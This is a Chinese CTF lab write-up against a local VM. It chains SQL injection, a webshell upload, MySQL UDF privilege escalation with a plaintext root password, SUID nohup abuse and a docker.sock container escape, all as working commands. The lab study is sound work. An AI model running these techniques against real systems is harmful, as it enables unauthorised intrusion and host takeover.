实验环境
kali:192.168.106.100/24
靶机:192.168.106.100/24
一.信息收集
使用nmap扫描同网段,获取靶机IP地址
namp -sP 192.168.106.0/24
使用nmap扫描目标开放端口
nmap -sV -sT -p- 192.168.106.105
使用curl探测常见敏感文件
dirsearch -u http://192.168.106.105 -e php,txt,zip,bak,swp
二.获取flag1
访问web网页,发现登录窗口,可能存在SQL注入点。

读取index.php.swp,进一步确认存在注入点
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; #index.php.swp内容进行命令拼接,输入admin' #,密码随机输入,即可成功绕过
登录成功后,发现存在文件上传
编写.htaccess,使任意文件可解析为PHP,先行上传覆盖原配置文件

编写abc一句话木马

利用burpsuite进行抓包,将上传文件MIME类型修改为:image/png,成功上传

进行测试

读取环境变量,获取敏感信息

连接数据库,查看users表格,获得flag1

三.获取flag2
UDF是 MySQL 的扩展机制,允许通过加载共享库来注册自定义函数
正常用途是给 MySQL 添加一些内置没有的计算功能,但如果我们把一个包含 sys_eval 函数的恶意 .so 文件写进 MySQL 的 plugin 目录,再用 CREATE FUNCTION 注册,就能在 SQL 语句里直接执行系统命令——MySQL 进程是什么权限,命令就以什么权限运行
是否能够实现UDF提权,需要检查mySQL环境


有了 MySQL root 权限,通过 UDF 在 MySQL 容器里获取命令执行
在 Kali 上准备 UDF 文件,写入 MySQL plugin 目录,注册 sys_eval 函数
python3 /usr/share/sqlmap/extra/cloak/cloak.py -d \
-i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ \
-o /tmp/lib_mysqludf_sys_64.so
xxd -p /tmp/lib_mysqludf_sys_64.so | tr -d '\n' > /tmp/udf64_hex.txt
UDF_HEX=$(cat /tmp/udf64_hex.txt)
mysql -h 192.168.106.105 -u root -pKp7mXz2wRn9sLqDf --skip-ssl \
-e "SELECT UNHEX('$UDF_HEX') INTO DUMPFILE '/usr/lib64/mysql/plugin/udf_final.so';"
mysql -h 192.168.106.105 -u root -pKp7mXz2wRn9sLqDf --skip-ssl \
-e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf_final.so';"验证成功后,容器里 /flag 只有 root 能读
Linux 里有一种特殊的文件权限叫 SUID,当可执行文件设置了 SUID 位后,无论谁运行它,进程都会以文件所有者的权限执行
比如 /usr/bin/passwd 就有SUID普通用户改密码时需要写 /etc/shadow,而 shadow 只有 root 能写,所以 passwd 通过 SUID 临时获取 root 权限来完成操作
查找 SUID 文件,发现 /usr/bin/nohup 有 SUID 权限,用它提权读 flag
因为 nohup 有 SUID 且所有者是 root,执行时进程的有效用户变成了 root,cat /flag 就能读到那个只有 root 可读的文件
mysql ... -e "SELECT sys_eval('/usr/bin/nohup cat /flag');"获得flag2{8f3c1b7e2d964a05e7b9d4c6f1a83e52}
四.获取flag3
容器内部再也没找到新的flag,怀疑flag存在宿主机上
确认 MySQL 容器里存在 /var/run/docker.sock,可以通过 Docker API 创建恶意容器逃逸到宿主机

通过 sys_eval 调用 curl 操作 Docker API,分三步完成逃逸
先在 Kali 上构造 JSON payload 并 base64 编码,避免嵌套转义问题

为什么能逃逸
Docker 的架构是这样的:所有容器都由一个叫Docker Daemon的后台进程管理,这个进程以 root 权限运行在宿主机上
任何人想操作容器,都得通过 Docker Daemon
Docker Daemon 通过 /var/run/docker.sock 这个Socket 文件接收指令
关键点在于这个 API 没有任何认证,谁能访问这个 socket 文件,谁就能让 Daemon 做任何事,包括创建一个挂载了宿主机整个文件系统的容器
正常情况下,这个 socket 只在宿主机上,容器里访问不到
但这台靶机的管理员把 docker.sock 挂载进了 MySQL 容器,于是我们在容器里就能直接跟 Daemon 通信
第一步,创建恶意容器,挂载宿主机根目录到 /host,命令是 cat /host/flag* /host/root/flag*
mysql ... -N mirror_shop -e "
SELECT sys_eval('curl -s --unix-socket /run/docker.sock -X POST -H \"Content-Type: application/json\" -d '\"'\"'{\"Image\":\"mysql:5.7\",\"Cmd\":[\"/bin/sh\",\"-c\",\"cat /host/flag* /host/root/flag* 2>/dev/null; ls -la /host/root/\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}'\"'\"' http://localhost/containers/create');"
第二步,启动容器
mysql ... -e "SELECT sys_eval('curl -s --unix-socket /run/docker.sock -X POST http://localhost/containers/b015604ccb1dad1af2e414be5166837bf5d07deeab4c9d6e6422213a3c93c510/start');"
拿到ID后(取前 12 位就够),再发一个 POST 请求启动它
Daemon 会在宿主机上把这个容器跑起来,容器内的 cat /host/flag* 命令开始执行。返回空或 204 状态码表示启动成功。
第三步,等容器执行完毕后读取日志,flag3 就在输出里
mysql ... -e "SELECT sys_eval('sleep 2 && curl -s --unix-socket /run/docker.sock http://localhost/containers/b015604ccb1dad1af2e414be5166837bf5d07deeab4c9d6e6422213a3c93c510/logs?stdout=1');"
容器执行完命令后,cat 的输出会被 Docker 当作容器日志保存
用 GET 请求这个容器的 /logs 端点,stdout=1 表示要标准输出,flag 就在返回的内容里
获得flag3{c2d5e8f1a3b76049d8e1c4b7f2a95d63}